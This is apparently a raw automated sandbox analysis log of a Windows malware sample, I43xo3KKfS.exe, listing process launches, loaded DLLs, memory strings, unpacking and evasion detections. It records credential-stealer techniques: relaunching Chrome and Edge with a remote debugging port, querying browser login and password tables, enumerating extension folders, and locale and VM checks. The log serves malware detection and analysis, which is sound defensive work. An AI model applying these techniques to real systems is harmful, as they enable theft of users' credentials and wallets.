Source: I43xo3KKfS.exe, 00000000.00000002.2481798898.000000001AF66000.00000004.00000020.00020000.00000000.sdmp, I43xo3KKfS.exe, 00000000.00000002.2484776536.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: I43xo3KKfS.exe, 00000000.00000002.2481798898.000000001AF66000.00000004.00000020.00020000.00000000.sdmp, I43xo3KKfS.exe, 00000000.00000002.2484776536.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: I43xo3KKfS.exe, 00000000.00000003.2313997553.0000000020EEB000.00000004.00000020.00020000.00000000.sdmp, JDGHIIJKEBGIDHIDBKJD.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: I43xo3KKfS.exe, 00000000.00000002.2481798898.000000001AF66000.00000004.00000020.00020000.00000000.sdmp, I43xo3KKfS.exe, 00000000.00000002.2484776536.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: I43xo3KKfS.exe, 00000000.00000002.2481798898.000000001AF66000.00000004.00000020.00020000.00000000.sdmp, I43xo3KKfS.exe, 00000000.00000002.2484776536.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: chrome.exe, 00000003.00000002.2335758294.0000614400700000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT * FROM loginsaDp;@87.0

Source: I43xo3KKfS.exe	ReversingLabs: Detection: 47%
Source: I43xo3KKfS.exe	Virustotal: Detection: 43%

Source: unknown	Process created: C:\Users\user\Desktop\I43xo3KKfS.exe "C:\Users\user\Desktop\I43xo3KKfS.exe"
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2416 --field-trial-handle=2236,i,12728769652571103709,16681002183324042487,262144 /prefetch:8
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2824 --field-trial-handle=2580,i,9160805204216496030,1290202691667560686,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2160 --field-trial-handle=2096,i,1110173691356344578,8625308391343283424,262144 /prefetch:3
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4888 -s 1888
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2416 --field-trial-handle=2236,i,12728769652571103709,16681002183324042487,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2824 --field-trial-handle=2580,i,9160805204216496030,1290202691667560686,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2160 --field-trial-handle=2096,i,1110173691356344578,8625308391343283424,262144 /prefetch:3	Jump to behavior

Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Section loaded: ntmarta.dll	Jump to behavior

Source: C:\Users\user\Desktop\I43xo3KKfS.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\I43xo3KKfS.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source:	Binary string: my_library.pdbU source: I43xo3KKfS.exe, 00000000.00000003.2144088459.0000000002490000.00000004.00001000.00020000.00000000.sdmp, I43xo3KKfS.exe, 00000000.00000002.2466911293.00000000023B0000.00000040.00001000.00020000.00000000.sdmp, I43xo3KKfS.exe, 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmp, I43xo3KKfS.exe, 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: I43xo3KKfS.exe, I43xo3KKfS.exe, 00000000.00000003.2144088459.0000000002490000.00000004.00001000.00020000.00000000.sdmp, I43xo3KKfS.exe, 00000000.00000002.2466911293.00000000023B0000.00000040.00001000.00020000.00000000.sdmp, I43xo3KKfS.exe, 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmp, I43xo3KKfS.exe, 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, chrome.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\I43xo3KKfS.exe

Unpacked PE file: 0.2.I43xo3KKfS.exe.400000.1.unpack .text:ER;.data:W;.hez:W;.rsrc:R;.reloc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\I43xo3KKfS.exe

Unpacked PE file: 0.2.I43xo3KKfS.exe.400000.1.unpack

Source: C:\Users\user\Desktop\I43xo3KKfS.exe

Code function: 0_2_0040A090 LoadLibraryA,GetProcAddress,GetProcAddress,FreeLibrary,

0_2_0040A090

Source: I43xo3KKfS.exe

Static PE information: section name: .hez

Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_0041B335 push ecx; ret		0_2_0041B348
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_6D4CDE51 push ecx; ret		0_2_6D4CDE64

Source: I43xo3KKfS.exe

Static PE information: section name: .text entropy: 7.623967855534544

Source: C:\Users\user\Desktop\I43xo3KKfS.exe

File created: C:\ProgramData\chrome.dll

Jump to dropped file

Source: C:\Users\user\Desktop\I43xo3KKfS.exe

File created: C:\ProgramData\chrome.dll

Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Source: C:\Users\user\Desktop\I43xo3KKfS.exe

Code function: 0_2_00419F20 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00419F20

Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\I43xo3KKfS.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-71789

Source: C:\Users\user\Desktop\I43xo3KKfS.exe

Dropped PE file which has not been started: C:\ProgramData\chrome.dll

Jump to dropped file

Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_0040E530 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040E530
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_0040BE40 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcatA,lstrcatA,lstrcatA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040BE40
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_004140F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	0_2_004140F0
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_0040EE20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0040EE20
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_00414B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00414B60
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_00413B00 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00413B00
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_0040DF10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040DF10
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00401710
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_004147C0 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	0_2_004147C0
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_0040DB80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040DB80
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_0040F7B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040F7B0
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_6D4C717D FindFirstFileExW,	0_2_6D4C717D

Source: C:\Users\user\Desktop\I43xo3KKfS.exe

Code function: 0_2_00418060 GetSystemInfo,wsprintfA,

0_2_00418060

Source: C:\Users\user\Desktop\I43xo3KKfS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: Amcache.hve.13.dr	Binary or memory string: VMware
Source: Amcache.hve.13.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.13.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.13.dr	Binary or memory string: VMware, Inc.
Source: chrome.exe, 00000003.00000002.2340137493.0000614400B7C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: USB device added: path=\\?\usb#vid_0e0f&pid_0003#5&2dda038&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} vendor=3599 "VMware", product=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=0706ff21-5dc9-4cfb-ad03-805dc23b1d26
Source: chrome.exe, 00000003.00000002.2340137493.0000614400B7C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 0ce added: path=\\?\usb#vid_0e0f&pid_0003#5&2dda038&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} vendor=3599 "VMware", product=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=0706ff21-5dc9-4cfb-ad03-805dc23b1d26sers\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\921a1560-5524-44c0-8495-fce7014dcfba\*
Source: Amcache.hve.13.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.13.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.13.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.13.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: chrome.exe, 00000003.00000002.2340137493.0000614400B7C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ce added: path=\\?\usb#vid_0e0f&pid_0003#5&2dda038&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} vendor=3599 "VMware", product=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=0706ff21-5dc9-4cfb-ad03-805dc23b1d26
Source: Amcache.hve.13.dr	Binary or memory string: VMware-42 27 80 4d 99 30 0e 9c-c1 9b 2a 23 ea 1f c4 20
Source: I43xo3KKfS.exe, 00000000.00000002.2466582402.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, I43xo3KKfS.exe, 00000000.00000002.2466582402.0000000000905000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.13.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: msedge.exe, 00000007.00000003.2324142321.00005D3800324000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware20,1(
Source: Amcache.hve.13.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: chrome.exe, 00000003.00000002.2340137493.0000614400B7C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: USB device added: path=\\?\usb#vid_0e0f&pid_0003#5&2dda038&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} vendor=3599 "VMware", product=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=0706ff21-5dc9-4cfb-ad03-805dc23b1d26aD
